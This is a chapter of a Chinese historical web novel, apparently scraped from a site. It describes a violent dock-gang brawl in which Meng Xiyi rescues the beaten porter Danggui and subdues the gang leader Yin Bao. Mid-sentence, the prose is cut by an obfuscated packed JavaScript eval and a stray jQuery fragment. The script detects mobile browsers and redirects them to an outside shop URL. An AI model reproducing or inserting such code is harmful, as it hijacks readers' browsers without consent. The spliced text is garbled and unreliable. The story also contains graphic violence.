仓库高耸的院墙后,巷子纵横交错。与码头沿岸豪华的铺子不同,都是些寻常百姓光顾的小铺。
行人摊贩见到提着棍棒,气势汹汹的两群人马,生怕被波及,忙不迭地躲避。
当归被拖进一处偏僻小院,走在最后的壮汉顺手去关门,看到巷子口奔来的一行人,他脸色微变,赶忙砰地关上门,跑进屋喊道:“豹头,有人追上来了,领头的还是娘儿们!”
豹头名唤尹豹,在通河码头做管事。他自小就跟着常中,打起架来不要命,总是冲在最前面,出了名的凶狠不怕死,诨号“血豹子”。
常中身份地位不一样之后,穿起了长衫。尹豹毕竟一身伤痛,为了活得长一些,跟常中学起了斯文。
码头到底是靠着蛮力争夺之地,尹豹还是时常会亲自动手。闻言他从屋中央的太师椅上站起身,活动着手腕骨,目中露出阴狠的光芒:“娘们自己送上门来,那咱们兄弟可要好生享用一番了!”
壮汉将当归推搡在地,尹豹眼皮都不抬,他抬起腿,一脚跺在当归手上,狠狠地撵了几下,扛起他惯用的刀走了出去,轻描淡写地道:“收拾了!”
当归下巴被卸掉,痛得呜呜哀嚎,眼泪鼻涕流了一脸。壮汉们提起木棍,劈头盖脸一通乱打。很快,血汗尿液从当归身下流了出来。
尹豹大步走出屋,吼了一声,“来活了!”
三开间的屋子里,瞬间窜出来十余个提着棍棒的壮汉。尹豹穿过夯土院走向大门,这些人紧紧簇拥在左右,摆出了打斗的架势。
木门砰地一下被撞开,尹豹看到最前面的孟希夷,他脚步停下来,啜了啜牙花子,吹了个尖锐的口哨,嬉笑道:“还是个俏娘们,泼辣最好不过,带劲!”
孟希夷迅速打量着局势,将手上的扁担扔到一旁,拿出了弹弓,先摆出身份:“我姓孟,刚与户部徐尚书在一起吃茶,你的老大常中都惹不起。将当归交出来!”
尹豹听常中说起过,朱二原本在西北一带混日子,投靠府衙推官魏昃之后,扳倒了田黑虎,扩张了势力。魏昃纨绔子弟,时常被底下的官吏们糊弄,朱二这个靠山,着实算不得甚。
孟家最近在京城声名鹊起,一是与卫国公府的亲事,二则是挽歌郎比试中,与大长公主的争斗。
不过,做他们这一行当,都是在刀口舔血为生。没动手还好,当归已经见了血。若他怯了阵,不止是他在帮派里立不了足,连常中的颜面都跟着无光。
想到常中的手段,尹豹不禁浑身发寒,飞快衡量眼前的情形。
周围几间小院都是他们帮众兄弟的地盘,在这一代无人敢惹。当归他们这群苦力,死了也就死了。孟希夷出身寒微,尚未正式成亲。她区区一个小娘子,怎能与户部尚书坐在一起吃茶,定是故意在吹牛。
贵人最讲究清白,要是他们咬定,她不守妇道,哪怕卫国公府怪罪,顶多交出一两人去谢罪,再赔些贵重礼物。
尹豹已别无退路,只有杀人灭口。他神色变得凶狠起来,手一挥下令:“给老子都拿下,一个都不许放走!”
壮汉们立即挥着棍棒冲了上来,孟希夷见混战就在眼前,她浑身血液上涌,毫不退缩,盯准了尹豹提刀的手,弹弓松开,鹅卵石呼啸而去。
尹豹手腕喀嚓一声,骨头碎裂。他也算得上一条汉子,手垂落下去,刀却没掉地,仍朝前跑来。
孟希夷手上动作飞快,鹅卵石连着朝尹豹飞去。饶是他挪腾躲避,左眼角以及身上仍然接连中招。
鹅卵石坚硬,打在身上剧痛难忍。尹豹眼角流出的血糊了一脸,左眼什么都看不见。
可惜鹅卵石很快打完,尹豹已经到了跟前。孟希夷身量高,精瘦有力,灵活。她不退后,拖起地上的扁担,朝尹豹右边身子砸去。
尹豹右手腕受伤,改用左手握刀。左手到底不比右手灵活,扁担长,他躲不开,举刀来挡。一股大力袭来,扁担被他勉强挡开,刀却掉在了地上。
孟希夷跨步上前,捡起地上的刀,双手握住刀柄,用她仅会的剑术
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603447|202136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正斩姿势,刀尖正对着尹豹,从上朝下劈。
尹豹的刀锋利,带着凌厉血腥之气,直逼面前。他万万没想到,孟希夷竟是硬茬,他浑身寒毛直竖,凭着本能往旁边躲。
院中打斗声震天,惨叫声此起彼伏。这时,尹豹的手下看到孟希夷举起的刀,霎时脸色大变,举起木棍朝她打来。
孟希夷双腿微屈,扎稳马步,心无旁骛盯着尹豹。木棍落在她左边肩胛,她全然不顾,身子晃了晃,手上的刀,心无旁骛劈了下去。
刀擦着尹豹肩膀劈下,血肉连着衣衫一起掉落在地。饶是他再能忍,还是痛得大叫起来。
尹豹的手下惊慌起来,一跃上前,大声喊叫着,招呼其他人上前帮忙:“快,快护住豹头!”
擒贼先擒王,孟希夷只盯着尹豹。她踏步上前,追着他乱砍。手下见状,只能先举起棍子,手忙脚乱挡刀。
刀虽一下劈不断木棍,木屑乱飞,木棍开始碎裂。
尹豹捂住手臂,忍着剧痛在地上打滚躲避。孟希夷丢开他的手下,追着他一阵砍。
另一边,尹豹的人手多,孟希夷这边渐渐有落败之势。尹豹的手下们,则一起嗷嗷围了上来。
孟希夷接连失手,眼见周围的木棍都朝她齐齐招呼来,后背连着中了两棒。她心一横,干脆朝尹豹扑去。
尹豹被孟希夷压住,他奋力挣扎,手上的肩膀被狠狠抓住,剧痛让他眼前一阵发黑。与此同时,冰冷的刀锋,扎进了脖子的肌肤里。他感到死亡近在眼前,再也不敢动。
徐渊平被诸禅搀扶着,气喘吁吁赶来,看到院中的众人浑身是血,哀嚎连连,到处混乱不堪。他顿时大惊,焦急地去寻孟希夷。待视线落在地上的两人身上,一下愣在那里。
孟希夷青灰色的衫裙沾满血迹,她左腿跪地,右腿死死压住尹豹的腰,左手抓着尹豹受伤的肩膀,手上一片猩红。右手的刀,抵着他的脖子,她的声音犹如从地狱里发出,寒气森森:“睁大你的狗眼瞧清楚了,我,才是老子!”